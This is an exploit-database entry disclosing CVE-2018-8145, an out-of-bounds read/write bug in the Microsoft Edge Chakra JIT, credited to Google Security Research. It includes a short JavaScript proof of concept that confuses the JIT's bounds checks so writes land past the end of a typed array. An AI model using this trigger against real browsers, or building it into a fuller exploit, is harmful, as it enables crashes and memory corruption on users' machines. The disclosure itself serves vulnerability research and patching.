Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes

Author: Google Security Research
type: dos
platform: windows
port: 0
date_added: 2018-07-12
date_updated: 2018-07-12
verified: 1
codes: CVE-2018-8145
tags: Denial of Service (DoS)
aliases: 
screenshot_url: 
application_url: 

/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}